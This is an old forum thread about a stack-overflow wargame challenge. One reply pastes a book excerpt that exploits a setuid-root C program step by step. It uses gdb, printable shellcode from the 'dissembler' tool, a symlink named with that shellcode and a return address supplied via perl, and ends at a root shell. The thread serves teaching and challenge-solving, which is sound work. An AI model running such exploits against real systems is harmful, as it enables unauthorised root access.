Author | Message | Time |
---|---|---|
mynameistmp | I don't know if any of you have ever heard of http://www.phiral.com or seen the challenges there. They have two, and I was wondering if any of you can solve the second: http://www.phiral.com/~matrix/matrix_chal2.c I though it'd be interesting to see what kind of conversation this might lead to. I'll give hints if anyone wants them. | July 5, 2004, 8:16 AM |
iago | You showed me that once before, but I still don't know how it works. Perhaps if others start posting observations. One thing I noticed is that this line: memset(argv[1], 72, 25); It seems like that could overwrite valuable stack stuff potentially, but it's overwriting it with a useless value (0x48484848). | July 5, 2004, 3:49 PM |
crashtestdummy | This is from the book they suggest reading on the site if this doesn't help let me know and I'll delete it. [code]cleared_stack.c code void func(char *data) { char buffer[5]; strcpy(buffer, data); } int main(int argc, char *argv[], char *envp[]) { int i; // clearing out the stack memory // clearing all arguments except the first memset(argv[0], 0, strlen(argv[0])); for(i=2; argv[i] != 0; i++) memset(argv[i], 0, strlen(argv[i])); // clearing all environment variables for(i=0; envp[i] != 0; i++) memset(envp[i], 0, strlen(envp[i])); // If the first argument is too long, exit if(strlen(argv[1]) > 40) { printf("first arg is too long.\n"); exit(1); } func(argv[1]); return 0; } This program clears out all of the function arguments except the first argument, and it clears out all of the environment variables. Because the first argument is where the overflow happens, and it can only be 40 bytes long, there's really no place to put shellcode. Or is there? Using gdb to debug the program and examine the stack memory will give a clearer picture of the situation. $ gcc -g -o cleared_stack cleared_stack.c $ sudo chown root.root cleared_stack $ sudo chmod u+s cleared_stack $ gdb -q ./cleared_stack (gdb) list 4 strcpy(buffer, data); 5 } 6 7 int main(int argc, char *argv[], char *envp[]) 8 { 9 int i; 10 11 // clearing out the stack memory 12 // clearing all arguments except the first 13 memset(argv[0], 0, strlen(argv[0])); (gdb) 14 for(i=2; argv[i] != 0; i++) 15 memset(argv[i], 0, strlen(argv[i])); 16 // clearing all environment variables 17 for(i=0; envp[i] != 0; i++) 18 memset(envp[i], 0, strlen(envp[i])); 19 20 // If the first argument is too long, exit 21 if(strlen(argv[1]) > 40) 22 { 23 printf("first arg is too long.\n"); (gdb) break 21 Breakpoint 1 at 0x8048516: file cleared_stack.c, line 21. (gdb) run test Starting program: /hacking/cleared_stack test Breakpoint 1, main (argc=2, argv=0xbffff904, envp=0xbffff910) at cleared_stack.c:21 21 if(strlen(argv[1]) > 40) (gdb) x/128x 0xbffffc00 0xbffffc00: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc10: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc20: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc30: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc40: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc50: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc60: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc70: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc80: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc90: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffca0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcb0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcc0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcd0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffce0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcf0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd00: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd10: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd20: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd30: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd40: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd50: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd60: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd70: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd80: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd90: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffda0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdb0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdc0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdd0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffde0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdf0: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbffffe00: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe10: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe20: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe30: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe40: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe50: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe60: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe70: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe80: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe90: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffea0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffeb0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffec0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffed0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffee0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffef0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff00: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff10: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff20: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff30: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff40: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff50: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff60: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff70: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff80: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff90: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffffa0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffffb0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffffc0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffffd0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffffe0: 0x00000000 0x61682f00 0x6e696b63 0x6c632f67 0xbffffff0: 0x65726165 0x74735f64 0x006b6361 0x00000000 (gdb) 0xc0000000: Cannot access memory at address 0xc0000000 (gdb) x/s 0xbfffffe5 0xbfffffe5: "/hacking/cleared_stack" (gdb) After compiling the source, the binary is opened with gdb and a breakpoint is set at line 21, right after all the memory is cleared. An examination of memory near the end of the stack shows that it is indeed cleared. However, there is something left right at the very end of the stack. Displaying this memory as a string, it becomes apparent that this is the name of the executing program. The gears should be turning in your head by now. If the name of the program is set to be printable shellcode, the program's execution flow can be directed into its own name. Symbolic links can be used to change the effective name of the program without affecting the original binary. The following example will help clarify this process. $ ./dissembler -e -b 34 tinyshell dissembler 0.9 - polymorphs bytecode to a printable ASCII string - Jose Ronnick <matrix@phiral.com> Phiral Research Labs - 438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0 [e] Escape the backslash: ON [b] Bridge size: 34 words [*] Dissembling bytecode from 'tinyshell'... [+] dissembled bytecode is 195 bytes long. -- %R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-xbyoP-Ai6A-Zx%Z- kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-AEA3- P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP Because this shellcode will be located right at the very end of the stack, space needs to be saved to build the actual shellcode after the loader code. Because the shellcode is 31 bytes, at least 31 bytes must be saved at the end. But these 31 bytes could be misaligned with the four byte words of the stack. An extra three bytes of space will account for any possible misalignments, so 34 bytes are saved at the end of the stack, using the characters that are usually used to build the NOP bridge. The -e switch is used to escape the backslash character, because this printable shellcode is going to be cut and pasted to make a symbolic link. $ ln -s /hacking/cleared_stack %R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt_P-05yp-- MrvP-999t-4dKd-xbyoP-Ai6A-Zx%Z-kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5- 52Y7P-N8y8-S8r8P-ooOo-AEA3-P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP $ ls -l %* lrwxrwxrwx 1 matrix users 22 Aug 11 17:29 %R6HJ%-H%1-UUUU-MXXv- gRRtP\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-xbyoP-Ai6A-Zx%Z-kx%MP-nnnn-eI3e-fHM-P- zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-AEA3- P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP -> /hacking/cleared_stack $ Now all that's left is to calculate where the beginning of the printable shellcode will be and to exploit the program. The debugger revealed that the end of the program name was at 0xbffffffb. Because this is the end of the stack, this address isn't going to change, but instead the beginning of the program name will shift to a lower memory address. Because the printable shellcode is 195 bytes long, the beginning of it should be at 0xbfffff38 (0xbffffffb – 195). $ pcalc 0xfffb - 195 65336 0xff38 0y1111111100111000 $ ./%R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-xbyoP-Ai6A- Zx%Z-kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-AEA3- P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP 'perl -e 'print "\x38\xff\xff\xbf"x8;'' sh-2.05b# whoami root sh-2.05b# Printable shellcode is simply a technique that can open some doors. All of these techniques are just building blocks with a myriad of possible combinations and uses. Their application simply requires some ingenuity on your part. Be clever and beat them at their own game.[/code] | July 5, 2004, 7:35 PM |
mynameistmp | *cough* thanks *cough* | July 6, 2004, 6:23 AM |
crashtestdummy | Blah my bad I kinda didn't read the last line of your post just went straight to the page. | July 6, 2004, 7:01 AM |
aton | since you dont have a place to put your shellcode how about return into libc? | January 30, 2005, 4:44 PM |